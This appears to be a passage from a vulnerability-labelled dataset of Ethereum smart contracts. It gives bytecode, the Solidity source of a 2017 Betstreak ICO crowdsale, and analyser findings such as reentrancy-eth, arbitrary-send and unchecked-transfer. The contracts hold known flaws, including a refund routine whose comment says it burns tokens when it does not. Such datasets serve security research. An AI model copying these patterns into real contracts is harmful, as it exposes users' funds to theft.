73ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612fc79190613500565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050613024683635c9adc5dea00000600754612cc990919063ffffffff16565b82101561304357600754683635c9adc5dea0000093509350505061304c565b81819350935050505b9091565b600080600080600080600080600061306d8a600954600a546131f9565b925092509250600061307d612d40565b905060008060006130908e87878761328f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006130fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612775565b905092915050565b600061310c612d40565b905060006131238284612c4e90919063ffffffff16565b905061317781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612abe90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6131d4826007546130b890919063ffffffff16565b6007819055506131ef81600854612abe90919063ffffffff16565b6008819055505050565b6000806000806132256064613217888a612c4e90919063ffffffff16565b612cc990919063ffffffff16565b9050600061324f6064613241888b612c4e90919063ffffffff16565b612cc990919063ffffffff16565b905060006132788261326a858c6130b890919063ffffffff16565b6130b890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806132a88589612c4e90919063ffffffff16565b905060006132bf8689612c4e90919063ffffffff16565b905060006132d68789612c4e90919063ffffffff16565b905060006132ff826132f185876130b890919063ffffffff16565b6130b890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613352578082015181840152602081019050613337565b83811115613361576000848401525b50505050565b6000601f19601f8301169050919050565b600061338382613318565b61338d8185613323565b935061339d818560208601613334565b6133a681613367565b840191505092915050565b600060208201905081810360008301526133cb8184613378565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613412826133e7565b9050919050565b61342281613407565b811461342d57600080fd5b50565b60008135905061343f81613419565b92915050565b6000819050919050565b61345881613445565b811461346357600080fd5b50565b6000813590506134758161344f565b92915050565b60008060408385031215613492576134916133dd565b5b60006134a085828601613430565b92505060206134b185828601613466565b9150509250929050565b60008115159050919050565b6134d0816134bb565b82525050565b60006020820190506134eb60008301846134c7565b92915050565b6134fa81613445565b82525050565b600060208201905061351560008301846134f1565b92915050565b600080600060608486031215613534576135336133dd565b5b600061354286828701613430565b935050602061355386828701613430565b925050604061356486828701613466565b9150509250925092565b600060ff82169050919050565b6135848161356e565b82525050565b600060208201905061359f600083018461357b565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6135e282613367565b810181811067ffffffffffffffff82111715613601576136006135aa565b5b80604052505050565b60006136146133d3565b905061362082826135d9565b919050565b600067ffffffffffffffff8211156136405761363f6135aa565b5b602082029050602081019050919050565b600080fd5b600061366961366484613625565b61360a565b9050808382526020820190506020840283018581111561368c5761368b613651565b5b835b818110156136b557806136a18882613430565b84526020840193505060208101905061368e565b5050509392505050565b600082601f8301126136d4576136d36135a5565b5b81356136e4848260208601613656565b91505092915050565b600060208284031215613703576137026133dd565b5b600082013567ffffffffffffffff811115613721576137206133e2565b5b61372d848285016136bf565b91505092915050565b60006020828403121561374c5761374b6133dd565b5b600061375a84828501613430565b91505092915050565b600060208284031215613779576137786133dd565b5b600061378784828501613466565b91505092915050565b600061379b826133e7565b9050919050565b6137ab81613790565b81146137b657600080fd5b50565b6000813590506137c8816137a2565b92915050565b6000602082840312156137e4576137e36133dd565b5b60006137f2848285016137b9565b91505092915050565b613804816134bb565b811461380f57600080fd5b50565b600081359050613821816137fb565b92915050565b60006020828403121561383d5761383c6133dd565b5b600061384b84828501613812565b91505092915050565b61385d81613407565b82525050565b60006020820190506138786000830184613854565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6138b381613445565b82525050565b60006138c583836138aa565b60208301905092915050565b6000602082019050919050565b60006138e98261387e565b6138f38185613889565b93506138fe8361389a565b8060005b8381101561392f57815161391688826138b9565b9750613921836138d1565b925050600181019050613902565b5085935050505092915050565b6000602082019050818103600083015261395681846138de565b905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61399381613407565b82525050565b60006139a5838361398a565b60208301905092915050565b6000602082019050919050565b60006139c98261395e565b6139d38185613969565b93506139de8361397a565b8060005b83811015613a0f5781516139f68882613999565b9750613a01836139b1565b9250506001810190506139e2565b5085935050505092915050565b60006020820190508181036000830152613a3681846139be565b905092915050565b60008060408385031215613a5557613a546133dd565b5b6000613a6385828601613430565b9250506020613a7485828601613430565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613ab4602083613323565b9150613abf82613a7e565b602082019050919050565b60006020820190508181036000830152613ae381613aa7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b5382613445565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613b8657613b85613b19565b5b600182019050919050565b7f4164647265737320696e76616c69640000000000000000000000000000000000600082015250565b6000613bc7600f83613323565b9150613bd282613b91565b602082019050919050565b60006020820190508181036000830152613bf681613bba565b9050919050565b6000613c0882613445565b9150613c1383613445565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c4857613c47613b19565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613caf602583613323565b9150613cba82613c53565b604082019050919050565b60006020820190508181036000830152613cde81613ca2565b9050919050565b600081519050613cf481613419565b92915050565b600060208284031215613d1057613d0f6133dd565b5b6000613d1e84828501613ce5565b91505092915050565b6000604082019050613d3c6000830185613854565b613d496020830184613854565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613dac602683613323565b9150613db782613d50565b604082019050919050565b60006020820190508181036000830152613ddb81613d9f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e3e602483613323565b9150613e4982613de2565b604082019050919050565b60006020820190508181036000830152613e6d81613e31565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ed0602283613323565b9150613edb82613e74565b604082019050919050565b60006020820190508181036000830152613eff81613ec3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613f62602583613323565b9150613f6d82613f06565b604082019050919050565b60006020820190508181036000830152613f9181613f55565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613ff4602383613323565b9150613fff82613f98565b604082019050919050565b6000602082019050818103600083015261402381613fe7565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614086602983613323565b91506140918261402a565b604082019050919050565b600060208201905081810360008301526140b581614079565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b600061413e605083613323565b9150614149826140bc565b606082019050919050565b6000602082019050818103600083015261416d81614131565b9050919050565b7f436f6e7472616374206e6f742079657420696e697469616c697a656400000000600082015250565b60006141aa601c83613323565b91506141b582614174565b602082019050919050565b600060208201905081810360008301526141d98161419d565b9050919050565b60006141eb82613445565b91506141f683613445565b92508282101561420957614208613b19565b5b828203905092915050565b6000819050919050565b6000819050919050565b600061424361423e61423984614214565b61421e565b613445565b9050919050565b61425381614228565b82525050565b600060a08201905061426e60008301886134f1565b61427b602083018761424a565b818103604083015261428d81866139be565b905061429c6060830185613854565b6142a960808301846134f1565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142e9601b83613323565b91506142f4826142b3565b602082019050919050565b60006020820190508181036000830152614318816142dc565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061437b602a83613323565b91506143868261431f565b604082019050919050565b600060208201905081810360008301526143aa8161436e565b9050919050565b60006143bc82613445565b91506143c783613445565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614400576143ff613b19565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061444582613445565b915061445083613445565b9250826144605761445f61440b565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006144c7602183613323565b91506144d28261446b565b604082019050919050565b600060208201905081810360008301526144f6816144ba565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057b59b7795ecf333c9738879f9044924bbc29836a92a923e2797d820fac25e5764736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,584 |
0x69A5b8f0A12269f3AF7EB57278d78414a1A9EEb4
|
pragma solidity ^0.4.11;
// **-----------------------------------------------
// Betstreak Token sale contract
// Revision 1.1
// Refunds integrated, full test suite passed
// **-----------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
// -------------------------------------------------
// ICO configuration:
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+3601 -> s+50400]
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+25201 -> s+75600]
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+50401 -> s+100800]
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+75601 -> end]
// -------------------------------------------------
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BetstreakICO is owned, safeMath {
// owner/admin & token reward
address public admin = owner; // admin address
StandardToken public tokenReward; // address of the token used as reward
// deployment variables for static supply sale
uint256 public initialSupply;
uint256 public tokensRemaining;
// multi-sig addresses and price variable
address public beneficiaryWallet;
// beneficiaryMultiSig (founder group) or wallet account, live is 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd
uint256 public tokensPerEthPrice; // set initial value floating priceVar 1,300 tokens per Eth
// uint256 values for min,max,caps,tracking
uint256 public amountRaisedInWei; //
uint256 public fundingMinCapInWei; //
// loop control, ICO startup and limiters
string public CurrentStatus = ""; // current crowdsale status
uint256 public fundingStartBlock; // crowdsale start block#
uint256 public fundingEndBlock; // crowdsale end block#
bool public isCrowdSaleClosed = false; // crowdsale completion boolean
bool public areFundsReleasedToBeneficiary = false; // boolean for founders to receive Eth or not
bool public isCrowdSaleSetup = false; // boolean for crowdsale setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _BST);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
// default function, map admin
function BetstreakICO() onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
// total number of tokens initially
function initialBSTSupply() constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,100);
}
// remaining number of tokens
function remainingSupply() constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
// setup the CrowdSale parameters
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
// init addresses
tokenReward = StandardToken(0xA7F40CCD6833a65dD514088F4d419Afd9F0B0B52);
beneficiaryWallet = 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd;
tokensPerEthPrice = 1300;
// set day1 initial value floating priceVar 1,300 tokens per Eth
// funding targets
fundingMinCapInWei = 1000000000000000000000;
//300000000000000000000 = 1000 Eth (min cap) - crowdsale is considered success after this value
//testnet 5000000000000000000 = 5Eth
// update values
amountRaisedInWei = 0;
initialSupply = 20000000000;
// 200,000,000 + 2 decimals = 200,000,000,00
//testnet 1100000 = 11,000
tokensRemaining = safeDiv(initialSupply,100);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure crowdsale
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
//gas reduction experiment
setPrice();
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorized";
} else {
return "campaign cannot be changed";
}
}
function SetupPreSale(bool _isCrowdSaleSetup) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin))
{
isCrowdSaleSetup = _isCrowdSaleSetup;
return "Executed.";
}
}
function setPrice() {
// ICO configuration:
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400]
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600]
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800]
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end]
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+25200) {
// Presale Bonus +30% = 1,300 BST = 1 ETH [blocks: start -> s+25200]
tokensPerEthPrice=1300;
} else if (block.number >= fundingStartBlock+25201 && block.number <= fundingStartBlock+50400) {
// First Week Bonus +20% = 1,200 BST = 1 ETH [blocks: s+25201 -> s+50400]
tokensPerEthPrice=1200;
} else if (block.number >= fundingStartBlock+50401 && block.number <= fundingStartBlock+75600) {
// Second Week Bonus +10% = 1,100 BST = 1 ETH [blocks: s+50401 -> s+75600]
tokensPerEthPrice=1100;
} else if (block.number >= fundingStartBlock+75601 && block.number <= fundingStartBlock+100800) {
// Third Week Bonus +5% = 1,050 BST = 1 ETH [blocks: s+75601 -> s+100800]
tokensPerEthPrice=1050;
} else if (block.number >= fundingStartBlock+100801 && block.number <= fundingEndBlock) {
// Final Week +0% = 1,000 BST = 1 ETH [blocks: s+100801 -> end]
tokensPerEthPrice=1000;
}
}
// default payable function when sending ether to this contract
function () payable {
require(msg.data.length == 0);
BuyBSTtokens();
}
function BuyBSTtokens() payable {
// 0. conditions (length, crowdsale setup, zero check,
//exceed funding contrib check, contract valid check, within funding block range check, balance overflow check etc)
require(!(msg.value == 0)
&& (isCrowdSaleSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
setPrice();
amountRaisedInWei = safeAdd(amountRaisedInWei,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),10000000000000000);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,100));
// will cause throw if attempt to purchase over the token limit in one tx or at all once limit reached
tokenReward.transfer(msg.sender, rewardTransferAmount);
// 4. events
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function beneficiaryMultiSigWithdraw(uint256 _amount) onlyOwner {
require(areFundsReleasedToBeneficiary && (amountRaisedInWei >= fundingMinCapInWei));
beneficiaryWallet.transfer(_amount);
}
function checkGoalReached() onlyOwner returns (bytes32 response) {
// return crowdfund status to owner for each result case, update public constant
// update state & status variables
require (isCrowdSaleSetup);
if ((amountRaisedInWei < fundingMinCapInWei) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) {
// ICO in progress, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth < Softcap)";
return "In progress (Eth < Softcap)";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number < fundingStartBlock)) { // ICO has not started
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = false;
CurrentStatus = "Presale is setup";
return "Presale is setup";
} else if ((amountRaisedInWei < fundingMinCapInWei) && (block.number > fundingEndBlock)) { // ICO ended, under softcap
areFundsReleasedToBeneficiary = false;
isCrowdSaleClosed = true;
CurrentStatus = "Unsuccessful (Eth < Softcap)";
return "Unsuccessful (Eth < Softcap)";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining == 0)) { // ICO ended, all tokens gone
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (BST >= Hardcap)!";
return "Successful (BST >= Hardcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) {
// ICO ended, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = true;
CurrentStatus = "Successful (Eth >= Softcap)!";
return "Successful (Eth >= Softcap)!";
} else if ((amountRaisedInWei >= fundingMinCapInWei) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) {
// ICO in progress, over softcap!
areFundsReleasedToBeneficiary = true;
isCrowdSaleClosed = false;
CurrentStatus = "In progress (Eth >= Softcap)!";
return "In progress (Eth >= Softcap)!";
}
setPrice();
}
function refund() {
// any contributor can call this to have their Eth returned.
// user's purchased BST tokens are burned prior refund of Eth.
//require minCap not reached
require ((amountRaisedInWei < fundingMinCapInWei)
&& (isCrowdSaleClosed)
&& (block.number > fundingEndBlock)
&& (fundValue[msg.sender] > 0));
//burn user's token BST token balance, refund Eth sent
uint256 ethRefund = fundValue[msg.sender];
balancesArray[msg.sender] = 0;
fundValue[msg.sender] = 0;
Burn(msg.sender, ethRefund);
//send Eth back, burn tokens
msg.sender.transfer(ethRefund);
Refund(msg.sender, ethRefund);
}
}
|
0x606060405236156101465763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301cb3b2081146101625780631a5e21101461018757806337205d76146101ac578063378dc3dc146101d3578063534d5acb146101f8578063590e1ae31461021d5780636e66f6e91461023257806372729ff21461026157806379ca0792146102865780637ee6b2d01461029e5780637f7b17a0146102c35780638da5cb5b146102ed57806391b43d131461031c578063a26d7b9414610341578063ac06e30214610368578063bd43146214610393578063c8b081251461039d578063c9788631146103c2578063d21077f3146103f1578063d648a64714610418578063da0239a61461043d578063da93d0d114610462578063e3306a6f14610477578063f2fde38b14610502578063f851a44014610523575b6101605b361561015557600080fd5b61015d610552565b5b565b005b341561016d57600080fd5b61017561074a565b60405190815260200160405180910390f35b341561019257600080fd5b610175610b5c565b60405190815260200160405180910390f35b34156101b757600080fd5b6101bf610b62565b604051901515815260200160405180910390f35b34156101de57600080fd5b610175610b71565b60405190815260200160405180910390f35b341561020357600080fd5b610175610b77565b60405190815260200160405180910390f35b341561022857600080fd5b610160610b8c565b005b341561023d57600080fd5b610245610cc3565b604051600160a060020a03909116815260200160405180910390f35b341561026c57600080fd5b610175610cd2565b60405190815260200160405180910390f35b341561029157600080fd5b610160600435610cd8565b005b34156102a957600080fd5b610175610d51565b60405190815260200160405180910390f35b34156102ce57600080fd5b6101756004351515610d57565b60405190815260200160405180910390f35b34156102f857600080fd5b610245610dc9565b604051600160a060020a03909116815260200160405180910390f35b341561032757600080fd5b610175610dd8565b60405190815260200160405180910390f35b341561034c57600080fd5b6101bf610dde565b604051901515815260200160405180910390f35b341561037357600080fd5b610175600435602435610de7565b60405190815260200160405180910390f35b610160610552565b005b34156103a857600080fd5b610175610fd0565b60405190815260200160405180910390f35b34156103cd57600080fd5b610245610fd6565b604051600160a060020a03909116815260200160405180910390f35b34156103fc57600080fd5b6101bf610fe5565b604051901515815260200160405180910390f35b341561042357600080fd5b610175610ff3565b60405190815260200160405180910390f35b341561044857600080fd5b610175610ff9565b60405190815260200160405180910390f35b341561046d57600080fd5b610160611000565b005b341561048257600080fd5b61048a6110db565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156104c75780820151818401525b6020016104ae565b50505050905090810190601f1680156104f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561050d57600080fd5b610160600160a060020a0360043516611179565b005b341561052e57600080fd5b6102456111c1565b604051600160a060020a03909116815260200160405180910390f35b6000341580159061056b5750600c5462010000900460ff165b80156105795750600a544310155b80156105875750600b544311155b801561059557506000600454115b15156105a057600080fd5b5060006105ab611000565b6105b7600754346111d0565b6007819055506105d96105cc346006546111f8565b662386f26fc10000611227565b90506105f16004546105ec836064611227565b611269565b600455600254600160a060020a031663a9059cbb33836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561066c57600080fd5b6102c65a03f1151561067d57600080fd5b50505060405180515050600160a060020a0333166000908152600e60205260409020546106aa90346111d0565b600160a060020a033381166000818152600e602052604090819020939093559130909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9034905190815260200160405180910390a333600160a060020a03167f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed348360405191825260208201526040908101905180910390a25b50565b6000805433600160a060020a0390811691161461076657600080fd5b600c5462010000900460ff16151561077d57600080fd5b60085460075410801561079f5750600b54431115801561079f5750600a544310155b5b1561082057600c805461ffff1916905560408051908101604052601b81527f496e2070726f67726573732028457468203c20536f6674636170290000000000602082015260099080516107f7929160200190611292565b507f496e2070726f67726573732028457468203c20536f66746361702900000000009050610b57565b6008546007541080156108345750600a5443105b156108b457600c805461ffff1916905560408051908101604052601081527f50726573616c65206973207365747570000000000000000000000000000000006020820152600990805161088b929160200190611292565b507f50726573616c65206973207365747570000000000000000000000000000000009050610b57565b6008546007541080156108c85750600b5443115b1561094b57600c805461ffff1916600117905560408051908101604052601c81527f556e7375636365737366756c2028457468203c20536f6674636170290000000060208201526009908051610922929160200190611292565b507f556e7375636365737366756c2028457468203c20536f667463617029000000009050610b57565b6008546007541015801561095f5750600454155b156109ec57600c805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028425354203e3d2048617264636170292100000000602082015260099080516109c3929160200190611292565b507f5375636365737366756c2028425354203e3d20486172646361702921000000009050610b57565b60085460075410158015610a015750600b5443115b8015610a0f57506000600454115b15610a9c57600c805460ff1961ff00199091166101001716600117905560408051908101604052601c81527f5375636365737366756c2028457468203e3d20536f667463617029210000000060208201526009908051610a73929160200190611292565b507f5375636365737366756c2028457468203e3d20536f66746361702921000000009050610b57565b60085460075410158015610ab257506000600454115b8015610ac05750600b544311155b15610b4a57600c805460ff1961ff00199091166101001716905560408051908101604052601d81527f496e2070726f67726573732028457468203e3d20536f6674636170292100000060208201526009908051610b21929160200190611292565b507f496e2070726f67726573732028457468203e3d20536f667463617029210000009050610b57565b5b5b5b5b5b610b57611000565b5b5b90565b60065481565b600c5462010000900460ff1681565b60035481565b6000610b866003546064611227565b90505b90565b6000600854600754108015610ba35750600c5460ff165b8015610bb05750600b5443115b8015610bd25750600160a060020a0333166000908152600e6020526040812054115b1515610bdd57600080fd5b5033600160a060020a0381166000908152600e602081815260408084208054600d845282862086905593909252929055917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca591839051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610c8257600080fd5b33600160a060020a03167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d8260405190815260200160405180910390a25b50565b600254600160a060020a031681565b60075481565b60005433600160a060020a03908116911614610cf357600080fd5b600c54610100900460ff168015610d0e575060085460075410155b1515610d1957600080fd5b600554600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561074757600080fd5b5b5b50565b60085481565b6000805433600160a060020a03908116911614610d7357600080fd5b60015433600160a060020a0390811691161415610dc25750600c805462ff0000191662010000831515021790557f45786563757465642e00000000000000000000000000000000000000000000005b5b5b919050565b600054600160a060020a031681565b600b5481565b600c5460ff1681565b6000805433600160a060020a03908116911614610e0357600080fd5b60015433600160a060020a039081169116148015610e2a5750600c5462010000900460ff16155b8015610e4457506005546000600160a060020a0390911611155b15610f67576002805473ffffffffffffffffffffffffffffffffffffffff1990811673a7f40ccd6833a65dd514088f4d419afd9f0b0b52179091556005805490911673361e14cc5b3cfba5d197d8a9f02caf71b3dca6fd179055610514600655683635c9adc5dea0000060085560006007556404a817c8006003819055610ecc906064611227565b600455600a839055600b829055600c805460ff1962ff000019909116620100001716905560408051908101604052601281527f43726f776473616c65206973207365747570000000000000000000000000000060208201526009908051610f37929160200190611292565b50610f40611000565b507f43726f776473616c652069732073657475700000000000000000000000000000610fc7565b60015433600160a060020a03908116911614610fa457507f6e6f7420617574686f72697a6564000000000000000000000000000000000000610fc7565b507f63616d706169676e2063616e6e6f74206265206368616e6765640000000000005b5b5b5b92915050565b60045481565b600554600160a060020a031681565b600c54610100900460ff1681565b600a5481565b6004545b90565b600a5443101580156110185750600a54616270014311155b156110285761051460065561015d565b600a546162710143101580156110445750600a5461c4e0014311155b15611054576104b060065561015d565b600a5461c4e10143101580156110715750600a5462012750014311155b156110815761044c60065561015d565b600a546201275101431015801561109f5750600a54620189c0014311155b156110af5761041a60065561015d565b600a54620189c10143101580156110c85750600b544311155b1561015d576103e86006555b5b5b5b5b5b565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111715780601f1061114657610100808354040283529160200191611171565b820191906000526020600020905b81548152906001019060200180831161115457829003601f168201915b505050505081565b60005433600160a060020a0390811691161461119457600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600154600160a060020a031681565b60008282016111ed8482108015906111e85750838210155b611282565b8091505b5092915050565b60008282026111ed8415806111e8575083858381151561121457fe5b04145b611282565b8091505b5092915050565b60008061123660008411611282565b828481151561124157fe5b0490506111ed838581151561125257fe5b06828502018514611282565b8091505b5092915050565b600061127783831115611282565b508082035b92915050565b80151561074757600080fd5b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106112d357805160ff1916838001178555611300565b82800160010185558215611300579182015b828111156113005782518255916020019190600101906112e5565b5b5061130d929150611311565b5090565b610b5791905b8082111561130d5760008155600101611317565b5090565b905600a165627a7a72305820bc2e0056efb9030432d5e6d808373ba57b2764b6944f1af71735c4ef0005cdbc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,585 |
0xdbbc3cb59bae234291c1342e9634e7c97734948d
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
